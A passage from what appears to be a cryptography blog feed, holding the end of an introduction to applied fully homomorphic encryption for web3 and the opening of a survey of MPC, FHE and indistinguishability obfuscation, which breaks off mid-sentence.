Errors](https://www.youtube.com/watch?v=K026C5YaB3A) (LWE) is a hard math problem based on the approximate Shortest Vector Problem (SVP). Similar to lattice problems, its hardness makes it a good candidate for use in PQC cryptography. Ring-LWE is a progression of LWE based on the SVP over ideal lattices. It is significant for FHE because the second generation of FHE schemes utilise LWE and RLWE to reduce ciphertext size and reduce noise, thus increasing performance. ### **Managing Noise** In FHE, noise refers to the distortion or error accumulating during homomorphic operations on encrypted data. Noise arises due to the mathematical properties of the homomorphic encryption and scale with the operations performed on encrypted values. The [diagram](https://homomorphicencryption.org/wp-content/uploads/2018/10/CCS-HE-Tutorial-Slides.pdf?ref=blog.sunscreen.tech) below represents fresh encryption, where each component can be expressed as a coefficient in a polynomial or a vector. The height of the element represents the size of the coefficients. Note that in the first step, the initial noise is small. ![](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/sB_dnGBjpaiXUWrKLkFnM.webp) As the number of computations (operations) increases, we see a corresponding growth in noise. The growth in noise can be described as exponential, polynomial, linear, constant, or logarithmic. ![](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/4hvv268J3cUZaeoYQCL20.webp) When working with FHE, the primary goal is to manage the noise reservoir. When there is an excessive number of operations, we experience noise overflow, at which point decryption becomes impossible. ![](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/SHHKJ9JkqJkIBw6yCBose.webp) Noise management techniques in FHE aim to control or reduce the noise level to maintain the correctness of computations. The main types of noise management include - **Bootstrapping**: this maintains the correctness of computations on encrypted data by reducing the impact of accumulated noise. - **Modulous Switching**: lightweight noise management without secret-key use, rescaling ciphertexts. It is most effective when applied after each homomorphic multiplication. - **Batching:** increasing efficiency by packing multiple plaintexts into the same ciphertext so FHE can be conducted on multiple inputs ### **Bootstrapping** Bootstrapping is the key technique used to manage noise overflow. When bootstrapping, the initial private key is encrypted as the bootstrapping key, allowing you to use it in a decryption circuit. This is secure as long as one assumes circular security. ![Bootstrapping](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/CHT9FELAjHHTvA0bXuXEq.webp) Bootstrapping The ciphertext is re-encrypted recursively, and the noise level is reset to the same level created by the bootstrapping operation itself. Think of each recursive encryption as layers of wrapping over the original ciphertext, giving you a ciphertext of a ciphertext. Using our layers example, each "inner layer" is homomorphically decrypted. As long as your noise reservoir allows room to do one more homomorphic operation (addition or multiplication), you can achieve FHE by running bootstrapping. ### **Relinerization** Relinerization is a technique to transform quadratic equations into linear ones, effectively shortening ciphertext size. It is the key to fine-tuning FHE performance independent of bootstrapping and is particularly useful for homomorphic multiplication, where the cost of computation linearly increases with input size. Despite being computationally heavy, it can reduce computation costs and storage burdens. ## **FHE Schemes** The development of FHE [schemes](https://queue.acm.org/detail.cfm?id=3561800) in the last decade has been rapid, with TFHE and BGV being the most popular blockchain applications. We focus on three main schemes in this article, but [many](https://github.com/jonaschn/awesome-he) others exist. Like any programming language, each comes with its unique properties suited for various use cases. ![Generations of FHE Schemes](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/BVTrv4k2df5KQNhuQ1yG-.webp) Generations of FHE Schemes ### **BGV & BFV** [Second-generation](https://queue.acm.org/detail.cfm?id=3561800) FHE schemes [BGV](https://eprint.iacr.org/2011/277.pdf) (2011) drastically improved performance and allowed for weaker security assumptions. With BGV, the concept of [Learning With Errors](https://www.youtube.com/watch?v=K026C5YaB3A&t=28s) (LWE) was introduced, reducing the 30 minutes per bit operation performance time down to seconds. [BFV](https://eprint.iacr.org/2012/144.pdf) (2012) was published very shortly after BGV, where instead of using linear equations with LWE, polynomial rings over finite fields, Ring-LWE, is used. BGV and BFV's computations use modular arithmetic circuits and work well with applications that require large vectors of small integers. These schemes are particularly useful for private information retrieval and database query applications. ### **TFHE** Fully Homomorphic Encryption over the Torus (TFHE)(2016) is an improved version of [FHEW](https://link.springer.com/chapter/10.1007/978-3-662-46800-5_24) (2014). It was the first scheme to [realize programmable bootstrapping](https://www.tfhe.com/evolution-of-homomorphic-encryption-schemes) using a lookup table over a ciphertext with a managed level of noise. It drastically [improved](https://link.springer.com/epdf/10.1007/978-3-662-53887-6_1?sharing_token=YsC3Hu6iPFp104kZQ6tZgPe4RwlQNchNByi7wbcMAY5bBAyAdgprN5xaaLEWgAqi3OyJt9tYY67Qr-JCwidvui2AFZZY23Iilns5cEmIIZMMdU8UUbfVmV_DCtPpkTVuaYBGgF2rZ79A9GuOu_QQi5L1eWufxVcTMf8_0-DEecE%3D) comparison and bootstrapping speeds, reducing times from seconds to milliseconds. TFHE's original implementation only allowed for Boolean circuits, but newer implementations like TFHErs are capable of bootstrapping over integers. It is most suitable for general-purpose computation. ### **CKKS** CKKS (2016) is most appropriate for applications working with real numbers, such as practical machine learning problems, regression training, neural network inference, and statistical computations. CKKS [deals with](https://dualitytech.com/blog/bootstrapping-in-fully-homomorphic-encryption-fhe/) approximate arithmetic and so is not compatible with web3 applications where precise financial data is required. However, we list it here as a particularly efficient scheme and has proven to be a significant advancement in the last few years. ## **Scheme Comparisons** Here is a high-level [comparison](https://www.youtube.com/watch?v=VJZSGM4DdZ0) of the three most relevant FHE schemes: ![FHE Scheme Comparisons](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/fD4DfgunYv-8mOXw4eWnV.webp) FHE Scheme Comparisons ## **Step-by-Step Development** Now that we have foundational concepts down, we dive into some practical considerations for building with FHE. Development can be broken down into the following [steps](https://homomorphicencryption.org/wp-content/uploads/2018/10/CCS-HE-Tutorial-Slides.pdf?ref=blog.sunscreen.tech): - Pick a FHE scheme appropriate for your use case - BFV or TFHE most appropriate for web3 development at the moment - Determine how data should be encoded - Will batching be used? - Will you use one ciphertext per integer, vector, or matrix? - Aim to reduce ciphertext/plaintext size ratio - Pick scheme parameters - Some compilers do this automatically - [Considerations:](https://www.youtube.com/watch?v=VJZSGM4DdZ0) - What kinds of computation are you looking to do? - What, if any, limitations do you have on ciphertext and key sizes? - What level of performance are you looking to attain? - Is relinerization required? - Prove information about your encrypted data (may include ZKP element) - Prove that the inputs are valid ie. the transaction amount - Prove that the data satisfies the condition i.e. check that the transacted amount is smaller than the balance in the account So far, we have discussed FHE theoretically as a general concept in cryptography. Applied implementations of FHE can be categorized as relevant to the web3 stack as follows: - FHE Applications: Implementations of FHE that are compatible with existing blockchains and smart contracts - FHE Infrastructure: Implementations of FHE that relate to data availability, scaling, block building, or consensus mechanisms We outline a few examples of FHE Applications here; despite their diversity, they share common elements. In each scenario, we: 1. **Encrypt data**: presented as an encrypted integer (i.e., euint8), which serves as a wrapper over FHE ciphertext. 2. **Perform an Operation**: computation is run on the encrypted data using FHE (i.e, add, sum, diff) 3. **Apply the Condition**: the result of the operation is used to take some action. This is achieved by using an "If…else…" multiplexer operator (i.e., [cmux](https://docs.zama.ai/fhevm/writing-contracts/functions#multiplexer-operator-cmux), where three inputs return one output). Think of this like a railroad switch where two tracks converge to a single destination. ### **Confidential ERC20 Tokens** In this implementation of a [confidential ERC20](https://www.zama.ai/post/confidential-erc-20-tokens-using-homomorphic-encryption) token contract by Zama, FHE is used to check that the wallet viewing the balance also owns the balance, effectively keeping the balance hidden from everyone else. 1. During a token transfer, the amount sent is encrypted. 2. The sender user balance is checked to make sure that it is greater than the transfer amount to prevent overspending using FHE. 3. The transfer is then executed on-chain, deducting the sender's balance and adding it to the recipient's balance. Additional measures are also taken with token minting to prevent information about balances from leaking. In a [different implementation](https://docs.fhenix.io/examples/reference-dapps/wrapped-erc20) by Fhenix, a wrapped ERC20 keeps balances and amounts confidential, but the sender and receiver remain public. Note that these implementations are used as an extension of the existing ERC20 standard and not a replacement. ### **Order matching** In a privacy-preserving [dark pool](https://www.ifaamas.org/Proceedings/aamas2020/pdfs/p1747.pdf): 1. Traders can send their buy and sell orders encrypted to an exchange. 2. The exchange uses FHE to find a match in the order book without knowing the order type, amount, or price. 3. Once a match is found, the order is executed on the public market. ![Dark Pools: Order Matching using FHE](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/GOkAOvsRMVxarQtvfdlag.webp) Dark Pools: Order Matching using FHE In this use case, traders can place orders without "alerting" the open market of their intentions, potentially giving away high-value alpha. Exchange operators remain neutral and establish trust, as their role here is purely used in order matching and execution. Regulatory authorities can ensure compliance with an additional layer, mitigating conflicts of interest between traders and operators. For an [on-chain darkpool](https://github.com/omurovec/fhe-darkpools/blob/master/src/DarkPool.sol), trades can be encrypted to prevent MEV. Zama has an FHE implementation of a [dark market](https://www.zama.ai/post/dark-market-tfhe-rs), and Sunscreen provides an AMM example [here](https://docs.sunscreen.tech/fhe/fhe_programs/example.html). Note that most of these are partial implementations, and privacy leaks exist. ### **Private Voting** Tokens or NFT owners can anonymously vote on proposals for DAO governance. Details such as token circulation amount, voting decisions, and delegation selection can be kept confidential with FHE. In this specific delegation [example](https://www.zama.ai/post/confidential-dao-voting-using-homomorphic-encryption), an existing Compound contract is used: 1. The COMP token contract, including token balances, is first encrypted. 2. Any changes in vote delegation are subsequently run over the encrypted token contract using FHE. 3. The number of votes per delegate is then stored for each specific block. The Governor contract subsequently manages proposals and votes: 1. Each delegate's "for" or "against" vote is encrypted. 2. The vote tally is made over encrypted votes with FHE. 3. The vote is cast for the respective proposal. ### **Blind Auctions** In previous blind auctions with ZKP implementations, bid data and compute is off-chain, requiring the trust of a third-party entity for proof creation. FHE allows [blind auctions](https://www.zama.ai/post/on-chain-blind-auctions-using-homomorphic-encryption) to run entirely on-chain, allowing parties to submit an encrypted private bid. In the bidding process: 1. The bid amount by each user is kept encrypted. 2. FHE is used to check if a previous bid has been made and determines the highest bid from all bidders. 3. The contract returns the auction object to the winner and returns losing bids back to other auction participants. ### **Other Novel Applications** Some other fhEVM novel use cases are being explored by the community [here](https://fhevm-explorers.notion.site/fhevm-explorers/fhEVM-Novel-Use-Cases-c1e637b0ca5740afa7fe598407b7266f); they include: - Private Surveys: Survey answers are encrypted, and FHE is used to run analytics on the results whilst keeping participants and their answers anonymized - DIDs: NFTs could contain encrypted metadata; FHE is run on the private metadata to enable entry into gated communities or authentication for access - Gaming: Poker, battleship, rock paper scissors - game results are calculated with FHE from encrypted play submissions. ## **Challenges and Open Problems** The open problems for FHE fall into three categories: usability, composability, and performance. Expanding the scope of feasible computations remains a challenge, and different schemes excel in different areas, but generally, there needs to be more standardization between schemes. Performance issues predominantly revolve around data efficiency due to large ciphertext and bootstrapping key sizes. Note that most challenges are often scheme-specific; we only discuss them at a high level for simplicity. ![Applied FHE Challenges](/articles/zero-to-start-applied-fully-homomorphic-encryption-fhe-part-2/xNITwo9-6vXmdx_85xOih.webp) Applied FHE Challenges ## **Transciphering/ Hybrid Homomorphic Encryption** The large size of ciphertexts is one of the greatest barriers to practical implementation due to its associated computation time and bandwidth usage. [Transciphering](https://eprint.iacr.org/2023/1531.pdf), or Hybrid Homomorphic Encryption, is a method of carrying out compression encryption within the FHE setup. Data is first compacted with a scheme like [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) before creating a ciphertext, which FHE is then run on. There are several [methods of transciphering](https://eprint.iacr.org/2023/980.pdf) being explored at the moment that are compatible with TFHE schemes. ## **Hardware Acceleration** Whilst bootstrapping reduces ciphertext noise to make FHE practically possible, it still requires a large amount of computation and time. [Hardware acceleration](https://dualitytech.com/blog/hardware-acceleration-of-fully-homomorphic-encryption-making-privacy-preserving-machine-learning-practical/) allows for computing tasks to be offloaded to specialized hardware components. At the moment, there are several teams working on ASICs for TFHE; the speedup with the use of more efficient hardware is likely to hit 1000x by 2025. Reducing the complexity of FHE for developers is crucial. Creating user-friendly libraries, tools, and APIs that abstract the cryptography-heavy aspects of FHE while offering easy integration into existing development frameworks can encourage wider adoption. At the moment, there is a lack of standardization when it comes to APIs, schemes, and compilers. Improving [library interoperability](https://homomorphicencryption.org/wp-content/uploads/2018/10/CCS-HE-Tutorial-Slides.pdf?ref=blog.sunscreen.tech) and higher-level automation for developers will make FHE more usable. ## **FHE Compilers** A compiler is a piece of software that converts source code to binary code in one go. Think of it as a translator for human readable languages (programming languages) to machine-readable languages (binary code). The majority of FHE compilers that exist at the moment add a significant amount of time to computation. The most efficient compiler at the time of writing (Sunscreen) has 1.3x overhead when compared to a low-level FHE library. One of the barriers to wider FHE adoption is the need for developer-friendly compilers. [Sunscreen](https://blog.sunscreen.tech/from-toy-programs-to-real-life-building-an-fhe-compiler/) and [Zama](https://docs.zama.ai/concrete/) are actively building compilers that increase the usability of FHE by automating parameters and key selection. At the moment, both compilers currently only support single-key FHE schemes and are standalone. The compatibility of the two is being worked on so that ZKPs can be used to prove information with FHE ciphertexts. ## **FHE for Blockchain** ### Performance Improving the performance of FHE schemes is essential for responsive Web3 applications. As blockchains are limited by block size, we need to find a way to maximize throughput without sacrificing block space. When it comes to user experience, both cost and latency need to be managed to usable levels. Reducing ciphertext size will be key here. ### **Gas Cost** Gas cost estimations are possible on the blockchain because transaction data is public. In the case of FHE, smart contract execution flow logic will differ depending on the outcome of computation (which may be hidden), making it difficult to accurately estimate gas costs. However, there are currently some [proposed ways](https://github.com/zama-ai/fhevm/blob/main/fhevm-whitepaper.pdf) to navigate this, and more accurate techniques will need to be developed to create a desirable user experience. ### **Trust assumptions** The implementation of Threshold FHE for encrypted states on a private blockchain utilizes the security assumptions of a network of decentralized validators. In order to perform the decryption, only 2/3rds of the validators or the number predetermined in the Threshold-FHE setup is required. Unlike a public blockchain, any form of collusion would be [undetectable](https://hackmd.io/cd7YCyEqQh-n_LJ0kArtQw); malicious activity would, therefore, leave no verifiable trace. Some would argue that a setup requiring stronger trust assumptions, like FHE-MPC, is more prudent. Decryption nodes and validator notes could also be potentially [separate entities](https://discord.com/channels/901152454077452399/1126507772524113930/1153599900244791397), varying the trust assumptions and threshold of the two operations. ### **Privacy Leaks** The simple act of the client sending a command to the server running the fhEVM may already disclose more information than the user is willing to. Similarly, any wallet that interacts with a smart contract to run the FHE application like voting will disclose, at a minimum they have voted. On the transaction level, we may be able to hide specific balances or amounts, but external parties may be able to deduce details from the macro state. Creating a cohesive system that prevents critical data leakage is a challenge, one which the composability of FHE, ZKPs and MPC might help to solve. ## **Conclusion** FHE opens up new frontiers in secure computation, realizing its full potential demands overcoming challenges such as usability, performance, and integration with other cryptographic primitives. While practical applications of FHE across domains are just emerging, its integration into decentralized systems remains an ongoing narrative. The technology's potential to reshape data privacy is vast, promising a future where we default to privacy-centric systems. The road ahead involves deeper dives into advanced concepts and integration strategies like [Ring-LWE](https://www.mdpi.com/2227-7390/10/5/728), [ZK](https://github.com/emilianobonassi/zkFHE)-[FHE](https://github.com/enricobottazzi/zk-fhe), [FHE Rollups](https://www.fhenix.io/wp-content/uploads/2023/11/FHE_Rollups_Whitepaper.pdf), [FHE-MPC](https://eprint.iacr.org/2023/981.pdf), and Latticed-based [ZKP](https://eprint.iacr.org/2022/284)s. ## **FHE Resources** Craig Gentry: A Fully Homomorphic Encryption Scheme [https://cdn.sanity.io/files/r000fwn3/production/5496636b7474ef68f79248de4a63dd879db55334.pdf](https://cdn.sanity.io/files/r000fwn3/production/5496636b7474ef68f79248de4a63dd879db55334.pdf) Slides: CSS_HE tutorial slides [https://homomorphicencryption.org/wp-content/uploads/2018/10/CCS-HE-Tutorial-Slides.pdf?ref=blog.sunscreen.tech](https://homomorphicencryption.org/wp-content/uploads/2018/10/CCS-HE-Tutorial-Slides.pdf?ref=blog.sunscreen.tech) Slides: Computing Arbitrary Functions of Encrypted Data [https://crypto.stanford.edu/craig/easy-fhe.pdf](https://crypto.stanford.edu/craig/easy-fhe.pdf) Fhenix: FHE Rollups **[FHE-Rollups: Scaling Confidential Smart Contracts on Ethereum and Beyond – whitepaper](https://www.fhenix.io/fhe-rollups-scaling-confidential-smart-contracts-on-ethereum-and-beyond-whitepaper/)** fhEVM Whitepaper: **[fhevm/fhevm-whitepaper.pdf at main · zama-ai/fhevm](https://github.com/zama-ai/fhevm/blob/main/fhevm-whitepaper.pdf)** fhEVM Novel Use cases: [https://fhevm-explorers.notion.site/fhevm-explorers/fhEVM-Novel-Use-Cases-c1e637b0ca5740afa7fe598407b7266f](https://fhevm-explorers.notion.site/fhevm-explorers/fhEVM-Novel-Use-Cases-c1e637b0ca5740afa7fe598407b7266f) FHE-MPC Advanced Grad Course **[homes.esat.kuleuven.be](https://homes.esat.kuleuven.be/~nsmart/FHE-MPC/)** Fully Composable Homomorphic Encryption **[cseweb.ucsd.edu](https://cseweb.ucsd.edu/classes/fa23/cse208-a/cfhe-draft.pdf)** Video: FHE and MPC by Shruthi Gorantala [https://www.youtube.com/watch?v=Q3glyMsaWIE](https://www.youtube.com/watch?v=Q3glyMsaWIE) Github: FHE awesome list **[GitHub - jonaschn/awesome-he: ✨ Awesome - A curated list of amazing Homomorphic Encryption libraries, software and resources](https://github.com/jonaschn/awesome-he)** Pesca: A Privacy Enhancing Smart Contract Architecture **[eprint.iacr.org](https://eprint.iacr.org/2022/1119.pdf)** Slides: MPC from Theory to Practice, Nigel Smart **[crypto.stanford.edu](https://crypto.stanford.edu/RealWorldCrypto/slides/smart.pdf)** Video: Prog Crypto **[PROGCRYPTO - Archive](https://app.streameth.org/devconnect/progcrypto/archive)** Sunscreen: An Intro to FHE: [https://blog.sunscreen.tech/an-intro-to-fully-homomorphic-encryption-for-engineers/](https://blog.sunscreen.tech/an-intro-to-fully-homomorphic-encryption-for-engineers/) Building Private Dapps:[https://www.youtube.com/watch?v=\_AiEmS8ojvU](https://www.youtube.com/watch?v=_AiEmS8ojvU) Documentation: [https://docs.sunscreen.tech/](https://docs.sunscreen.tech/) ZK9 Building an FHE Compiler: [https://www.youtube.com/watch?v=VJZSGM4DdZ0](https://www.youtube.com/watch?v=VJZSGM4DdZ0) ZK Podcast: Episode 295 The Return to MPC with Nigel Smart **[Episode 295: Return to MPC with Nigel Smart](https://open.spotify.com/episode/4zfrPFbPWZvn6fXwrrEa5f?si=9ab56d47510f4da0)** ]]> fhe cryptography privacy lattice-based cryptography threshold cryptography mpc security ethereum private transactions education <![CDATA[Beyond Zero-Knowledge: What's Next in Programmable Cryptography?]]> https://pse.dev/blog/beyond-zero-knowledge-whats-next-in-programmable-cryptography https://pse.dev/blog/beyond-zero-knowledge-whats-next-in-programmable-cryptography Thu, 09 Nov 2023 00:00:00 GMT <![CDATA[_This post was written by [kichong](https://twitter.com/kichongtran) with helpful feedback and comments from [sinu](https://twitter.com/sinu_eth) and [jmall](https://twitter.com/Janmajaya_mall)._]]> <![CDATA[ MPC, FHE, iO. If these combinations of letters make little sense to you, then you're in the right place. This post attempts to review, at a high level, the world of programmable cryptography beyond the borders of zero-knowledge (ZK). The intent is to expose people to the idea that ZK is only one part of a constantly shifting landscape of cryptographic primitives, techniques, and protocols. And what remains is more powerful, more private, and more confusing than the average cryptography-curious person is aware of. This post makes no claims, conclusions, or predictions. This is no deep dive. At best, it's an informal skimming of the surface in the quest for the holy grail of cryptography. While encryption has been around for thousands of years, programmable cryptography is a modern technology. Described as "[general-purpose cryptography … \[or\] an expressive language for claims](https://archive.devcon.org/archive/watch/6/zkps-and-programmable-cryptography/?tab=YouTube)", it's the idea that a cryptographic primitive like a ZK proof could be made flexible and adaptive enough that a developer could program nearly any function on top of it. That there can exist an unbroken chain of logic from someone clicking a button on a website to the mathematical proof that guarantees the security of a cryptographic operation. ![https://youtu.be/qAfprVCBhdQ?t=1024](/articles/beyond-zero-knowledge-whats-next-in-programmable-cryptography/6I3pxfsamZF_nsL_X3k6T.webp) https://youtu.be/qAfprVCBhdQ?t=1024 While traditional cryptography relied on fixed sets of functionalities, which required a skilled cryptographer to build a specialized system for every new mechanism, programmable cryptography lets developers deploy cryptographic properties and functionality in a language closer to what they already understand. It gives developers who are not cryptography experts a more familiar interface. ZK proofs were first [conceived of in 1985](https://people.csail.mit.edu/silvio/Selected%20Scientific%20Papers/Proof%20Systems/The_Knowledge_Complexity_Of_Interactive_Proof_Systems.pdf). The concept was officially published in 1989, but remained mostly theoretical until 2012 when a type of ZK proof called a [zk-SNARK](https://eprint.iacr.org/2011/443.pdf) was discovered. This new primitive allowed ZK proofs to prove or authenticate nearly any function or arbitrary computation. Since zkSNARKS became possible, resources and talent have poured into building zCash, zkRollups, zkEVMs, and a host of other applications beginning with the letter z. It turned out, decentralized systems like Ethereum, and blockchains in general, were the perfect motivation to get people interested in cryptography, turning a once-impractical research field into an active ecosystem with actual end-user applications. There are no guarantees that [Multi-Party Computation (MPC)](https://en.wikipedia.org/wiki/Secure_multi-party_computation), [Fully Homomorphic Encryption (FHE)](https://en.wikipedia.org/wiki/Homomorphic_encryption), and [Indistinguishable Obfuscation (iO)](https://en.wikipedia.org/wiki/Indistinguishability_obfuscation) will follow the same path as ZK, becoming more practical, optimized, and general-purpose as time goes on. But at this early stage, it is certainly possible. If you think of programmable cryptography as a type of digital computer, built on certain assumptions that allow for certain properties and guarantees, then we are still at the hardware stage. We are still actively figuring out the best way to construct the logical gates or circuits for this new computer. ## **Relatively intuitive comparisons** To better understand the general landscape of programmable cryptography, let's start by very roughly approximating where MPC, FHE, and IO stand in relation to ZK, and each other. In this section, and really all the sections that come after, we will trade-off nuance, precision, and formality in favor of simplicity and accessibility. The simplest way to reason about cryptography is what information is kept hidden or secret. And what the system proves or reveals. ![](/articles/beyond-zero-knowledge-whats-next-in-programmable-cryptography/-AAI15NdLONUuc7SGb9Jt.webp) You can also think of each of these systems as standing in for an imaginary mutual friend. [Wikipedia calls this friend "Tony."](https://en.wikipedia.org/wiki/Secure_multi-party_computation#Definition_and_overview) Tony is infallible, incorruptible, and totally trustworthy. Tony's job is to keep secrets. In the table below, think of the "Private Elements" as what secrets Tony can be trusted to keep, the "Use Cases" as tasks Tony could perform reasonably well, and the "Practicality" as how skillfully Tony could perform these tasks today. ![](/articles/beyond-zero-knowledge-whats-next-in-programmable-cryptography/lj84zAzL24ghhq-rWsuW2.webp) The tables above are intended to give a rough idea for different areas of programmable cryptography. Now, let's go a bit deeper and review what MPC, FHE, and iO do along with some interesting tidbits about each field. ## **Multi-Party Computation (MPC)** Multi-Party Computation (MPC) allows many parties to jointly compute some agreed upon function without revealing any data to the other participants. With MPC, the same computation is applied to everyone's data, but each party's input is kept secret. Intermediate values would also stay secret. Only the output is revealed at the end. As opposed to ZK, MPC is collaborative. It allows different parties to collaborate on the same computation, each contributing their own data, to get some mutual result everyone wants. We can compare ZK and MPC in the context of an AI system to get more context. ZK would be good at authenticating or verifying a piece of data came from a real person or from a person's phone. MPC is better for training an AI system because different individuals, groups, or organizations could share sensitive data with the AI system but trust that the data won't be revealed to anyone else. ## **Millionaire problems** MPC was thought of in [1982 by Andrew Yao](https://research.cs.wisc.edu/areas/sec/yao1982-ocr.pdf) to solve a thought experiment called the "Millionaire's Problem" where two millionaire's want to know who is richer without telling each other how much money they have. The solution was to use [garbled circuits, which according to Vitalik Buterin,](https://vitalik.ca/general/2020/03/21/garbled.html) frequent explainer of cryptographic concepts, is also one of the most basic ways to wrap your head around MPC. \[Before learning about a garbled circuit, you need to know what a arithmetic circuit is in general. If you're new to the idea of circuits, there's a [simple explanation here.](https://mirror.xyz/privacy-scaling-explorations.eth/AW854RXMqS3SU8WCA7Yz-LVnTXCOjpwhmwUq30UNi1Q)\] MPC is a multi-step, interactive process where millionaire #1 (Alice the Garbler) must first create the circuit, enter her net worth, then transform it into a garbled or encrypted form before passing it along to millionaire #2 (Bob the Evaluator). When Bob gets his hands on the circuit, his job is to add his own net worth, then evaluate or run the circuit to make sure it's correct. Finally, Bob decrypts the final output and, for example, learns Alice is richer, but never learns that Alice is, in fact, way richer, and he shouldn't have made assumptions. The Millionaire's Problem and garbled circuits as a solution were crucial to the early development of MPC. But its application was limited. A more complex and nuanced version of the problem, called the [Socialist Millionaire's Problem](https://en.wikipedia.org/wiki/Socialist_millionaire_problem), checked if the two millionaires were equally rich, instead of revealing which one had more money. This subtle difference significantly extended MPC functionality but required more complex cryptographic solutions and techniques beyond the scope of this article. ## **Fully Homomorphic Encryption (FHE)** Fully Homomorphic Encryption (FHE) allows computations on encrypted data. It can perform a function on encrypted data just as if it had remained unencrypted. The output of the function is only decrypted by the party with the secret key. If we think of encryption as a black box that hides secrets, then FHE ensures that the data and the computations on that data remain within that black box. Though there are no famous thought experiments like the Millionaire's Problem for MPC, FHE does solve a fundamental security weakness: ["the need to decrypt before processing data."](https://blog.cryptographyengineering.com/2012/01/02/very-casual-introduction-to-fully/) ![https://www.zama.ai/post/the-revolution-of-fhe](/articles/beyond-zero-knowledge-whats-next-in-programmable-cryptography/p7FPMhbZ6Hx4lWf-OdWpy.webp) https://www.zama.ai/post/the-revolution-of-fhe In an AI context, FHE would keep all the data between the user (secret key holder) and the AI system encrypted. The user interacts with the system as normal, but the user could be confident that the AI never "learned" anything about the data being given. The entire interaction would be encrypted. The AI never learns what you typed or asked, what pictures you sent, or who sent it, but can still respond as if it did know the information. If it works, FHE will be one of the most powerful privacy-preserving technologies available. And who knows? [In 10 years, we may even have FHE-EVMs](https://youtu.be/ptoKckmRLBw?si=WQDbSStGkqWCx5JM&t=1734). ## **Noise management** Compared to MPC and ZK, FHE is – at the moment – on the more theoretical or less practical end of the spectrum. The technology was only considered to be feasible in [2009 when Craig Gentry](https://www.cs.cmu.edu/~odonnell/hits09/gentry-homomorphic-encryption.pdf) figured out how to deal with noise. FHE operations are computationally very intensive because "noise" is added during the encryption process to enhance security. Noise in FHE is a small random value added to the plaintext (unencrypted data) before it is turned into ciphertext (encrypted data). Each operation increases noise. While addition and subtraction operations cause negligible noise growth, multiplication is more computationally expensive, which results in significant noise growth. So as the complexity of a program increases, noise – the space required to accommodate noise and the computational resources needed to process noise – accumulates. Gentry's breakthrough was a technique called bootstrapping, which could reduce noise and allow for more computation on encrypted data in FHE systems. Bootstrapping takes the ciphertext and decrypts it homomorphically, which means reducing the noise level on an encrypted piece of data without actually revealing what it is. The result is a ciphertext with much lower pre-defined noise, thus allowing us to compute on the ciphertext further. Bootstrapping, in general, allows us to circumvent the need of having higher space for noise growth as complexity of computation increases. We can limit the space to a few operations and repeatedly bootstrap to compute arbitrarily large computations without compromising the original data. Depending on the FHE scheme, bootstrapping can either take several minutes or milliseconds. If bootstrapping is slower, the computational cost can be spread out by applying it to several ciphertexts at once. If bootstrapping is faster, it usually comes with the trade-off of only working with small pieces of plaintext (usually 8 bits) at a time to stay efficient. ## **Indistinguishability Obfuscation (iO)** If FHE turns all the elements of the computation into a black box, then iO turns the computation itself into a black box. Indistinguishability Obfuscation (iO) is considered the most powerful cryptographic system within the realm of theoretic possibility. In [one article](https://www.quantamagazine.org/computer-scientists-achieve-crown-jewel-of-cryptography-20201110/), iO is described as a "master tool from which nearly every other cryptographic protocol could be built" and referred to by cryptography experts as a "crown jewel" and "one cryptographic primitive to rule them all." According to Amit Sahai, the professor known for [explaining ZK proofs to kids](https://www.youtube.com/watch?v=fOGdb1CTu5c), and one of the researchers who devised a way [build iO on well-founded assumptions](https://eprint.iacr.org/2020/1003), iO works on a fundamentally different paradigm than previous cryptographic systems. IO assumes the adversary can already read your mind (a metaphor for your computer). Your secrets are already known so can't be hidden. The only thing you can do is obfuscate what the adversary can already see. ![https://youtu.be/v2RR_c5hn1E](/articles/beyond-zero-knowledge-whats-next-in-programmable-cryptography/0JS-dJVwLCjsLtdvd9dOR.webp) https://youtu.be/v2RR_c5hn1E The point of iO is to make two functions or computations equally obscure. If you turn two computations into a form that is indistinguishable from each other, then you can hide how the program works. If you can't tell the difference between two programs, you don't know which of the two programs is being executed, and no information can be deduced from either one, other than that they both perform the same function. Both programs take the same inputs and produce the same outputs, but iO makes it so no one can figure out how. With iO, you can conceal the structure of every type of function including nearly all the functions that make up cryptography. In other words, by obscuring nearly anything, you reach the most general-purpose programmable cryptography on which other primitives can be programmed on top of. Technically, there is a black box bigger than iO. It's literally called [black box obfuscation](https://en.wikipedia.org/wiki/Black-box_obfuscation). But that one is still impossible. ## **Well-founded assumptions** No one knew how to build iO [until 2013, when multilinear maps were proposed by Garg, Gentry, Halevi, Raykova, Sahai, Waters.](https://eprint.iacr.org/2013/451.pdf) A computer program could be broken up like puzzle pieces then obscured using multilinear maps. The obscured pieces could be reassembled to achieve the same functionality as the original program without revealing its inner workings. Multilinear maps are a generalization of the bilinear maps or pairings used in [Elliptic Curves Cryptography (ECC](https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/)). While bilinear maps are foundational to existing cryptographic schemes like [BLS signatures](https://en.wikipedia.org/wiki/BLS_digital_signature), they are not complex or expressive enough for iO. And while multilinear maps could handle iO, this newly developed algebraic structure was easily attackable and wasn't secure so relying on multilinear maps was generally unsatisfying for cryptographers. The field was stuck again. Then, in 2020, [Jain, Lin, and Sahai proposed](https://eprint.iacr.org/2020/1003) a solution that while unusual and new, was simple enough for cryptographers to reason about, and instead of relying on newly developed assumptions like multilinear maps, this version of iO could be built on more standard and well-founded assumptions that have been studied for decades such as [Learning with Errors (LWE).](https://en.wikipedia.org/wiki/Learning_with_errors) With this latest breakthrough, iO became feasible again. The holy grail was still in reach. ## **Untamed wilderness** Each cryptographic system is made of different mathematical assumptions and cryptographic techniques. No single breakthrough solves all the problems in a system. Instead, discoveries follow an unpredictable series of small steps and big leaps that alter existing assumptions and techniques, which in turn lead to more breakthroughs and discoveries. And for every discovery that worked, many more did not. ![](/articles/beyond-zero-knowledge-whats-next-in-programmable-cryptography/jAMju2X2AJnMDj5mit-AN.webp) In a presentation on iO, Sahai described the field as being in the "[untamed wilderness](https://youtu.be/v2RR_c5hn1E?t=1317),", where it wasn't even clear what was not understood and what the right problems to solve were. Teams like [PSE](https://www.appliedzkp.org/) primarily work on the practical or applied side of programmable cryptography, focusing on primitives like ZK and 